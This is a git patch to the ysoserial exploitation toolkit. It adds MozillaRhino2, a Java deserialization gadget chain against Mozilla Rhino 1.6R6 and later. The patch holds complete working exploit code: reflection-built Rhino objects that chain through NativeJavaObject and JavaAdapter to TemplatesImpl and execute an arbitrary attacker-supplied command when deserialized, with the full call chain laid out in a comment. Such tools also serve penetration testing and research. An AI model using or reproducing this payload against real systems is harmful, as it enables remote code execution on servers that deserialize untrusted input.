From 6ba90d2d83c5c9548e2524ff7d1b83dd7a2bdf3c Mon Sep 17 00:00:00 2001 From: tint0 Date: Wed, 30 Jan 2019 10:48:39 +0700 Subject: [PATCH] New rhino gadget (cherry picked from commit 7533f65) --- .../ysoserial/payloads/MozillaRhino2.java | 109 ++++++++++++++++++ .../payloads/annotation/Authors.java | 1 + 2 files changed, 110 insertions(+) create mode 100644 src/main/java/ysoserial/payloads/MozillaRhino2.java diff --git a/src/main/java/ysoserial/payloads/MozillaRhino2.java b/src/main/java/ysoserial/payloads/MozillaRhino2.java new file mode 100644 index 0000000..ed7817a --- /dev/null +++ b/src/main/java/ysoserial/payloads/MozillaRhino2.java @@ -0,0 +1,109 @@ +package ysoserial.payloads; + +import org.mozilla.javascript.*; +import org.mozilla.javascript.tools.shell.Environment; +import ysoserial.payloads.annotation.Authors; +import ysoserial.payloads.annotation.Dependencies; +import ysoserial.payloads.util.Gadgets; +import ysoserial.payloads.util.PayloadRunner; +import ysoserial.payloads.util.Reflections; + +import java.io.IOException; +import java.io.ObjectOutputStream; +import java.lang.reflect.Method; +import java.util.Hashtable; +import java.util.Map; + +/* + + Works on rhino 1.6R6 and above & doesn't depend on BadAttributeValueExpException's readObject + + Chain: + + NativeJavaObject.readObject() + JavaAdapter.readAdapterObject() + ObjectInputStream.readObject() + ... + NativeJavaObject.readObject() + JavaAdapter.readAdapterObject() + JavaAdapter.getAdapterClass() + JavaAdapter.getObjectFunctionNames() + ScriptableObject.getProperty() + ScriptableObject.get() + ScriptableObject.getImpl() + Method.invoke() + Context.enter() + JavaAdapter.getAdapterClass() + JavaAdapter.getObjectFunctionNames() + ScriptableObject.getProperty() + NativeJavaArray.get() + NativeJavaObject.get() + JavaMembers.get() + Method.invoke() + TemplatesImpl.getOutputProperties() + ... + + by @_tint0 + +*/ +@SuppressWarnings({"rawtypes", "unchecked"}) +@Dependencies({"rhino:js:1.7R2"}) +@Authors({ Authors.TINT0 }) +public class MozillaRhino2 implements ObjectPayload { + + public Object getObject( String command) throws Exception { + ScriptableObject dummyScope = new Environment(); + Map associatedValues = new Hashtable(); + associatedValues.put("ClassCache", Reflections.createWithoutConstructor(ClassCache.class)); + Reflections.setFieldValue(dummyScope, "associatedValues", associatedValues); + + Object initContextMemberBox = Reflections.createWithConstructor( + Class.forName("org.mozilla.javascript.MemberBox"), + (Class)Class.forName("org.mozilla.javascript.MemberBox"), + new Class[] {Method.class}, + new Object[] {Context.class.getMethod("enter")}); + + ScriptableObject initContextScriptableObject = new Environment(); + Method makeSlot = ScriptableObject.class.getDeclaredMethod("accessSlot", String.class, int.class, int.class); + makeSlot.setAccessible(true); + Object slot = makeSlot.invoke(initContextScriptableObject, "foo", 0, 4); + Reflections.setFieldValue(slot, "getter", initContextMemberBox); + + NativeJavaObject initContextNativeJavaObject = new NativeJavaObject(); + Reflections.setFieldValue(initContextNativeJavaObject, "parent", dummyScope); + Reflections.setFieldValue(initContextNativeJavaObject, "isAdapter", true); + Reflections.setFieldValue(initContextNativeJavaObject, "adapter_writeAdapterObject", + this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class)); + Reflections.setFieldValue(initContextNativeJavaObject, "javaObject", initContextScriptableObject); + + ScriptableObject scriptableObject = new Environment(); + scriptableObject.setParentScope(initContextNativeJavaObject); + makeSlot.invoke(scriptableObject, "outputProperties", 0, 2); + + NativeJavaArray nativeJavaArray = Reflections.createWithoutConstructor(NativeJavaArray.class); + Reflections.setFieldValue(nativeJavaArray, "parent", dummyScope); + Reflections.setFieldValue(nativeJavaArray, "javaObject", Gadgets.createTemplatesImpl(command)); + nativeJavaArray.setPrototype(scriptableObject); + Reflections.setFieldValue(nativeJavaArray, "prototype", scriptableObject); + + NativeJavaObject nativeJavaObject = new NativeJavaObject(); + Reflections.setFieldValue(nativeJavaObject, "parent", dummyScope); + Reflections.setFieldValue(nativeJavaObject, "isAdapter", true); + Reflections.setFieldValue(nativeJavaObject, "adapter_writeAdapterObject", + this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class)); + Reflections.setFieldValue(nativeJavaObject, "javaObject", nativeJavaArray); + + return nativeJavaObject; + } + + public static void customWriteAdapterObject(Object javaObject, ObjectOutputStream out) throws IOException { + out.writeObject("java.lang.Object"); + out.writeObject(new String[0]); + out.writeObject(javaObject); + } + + public static void main(final String[] args) throws Exception { + PayloadRunner.run(MozillaRhino2.class, args); + } + +} diff --git a/src/main/java/ysoserial/payloads/annotation/Authors.java b/src/main/java/ysoserial/payloads/annotation/Authors.java index 2f4001e..5fd15ef 100644 --- a/src/main/java/ysoserial/payloads/annotation/Authors.java +++ b/src/main/java/ysoserial/payloads/annotation/Authors.java @@ -19,6 +19,7 @@ public @interface Authors { String JACOBAINES = "jacob-baines"; String JASINNER = "jasinner"; String KULLRICH = "kai_ullrich"; + String TINT0 = "_tint0"; String[] value() default {};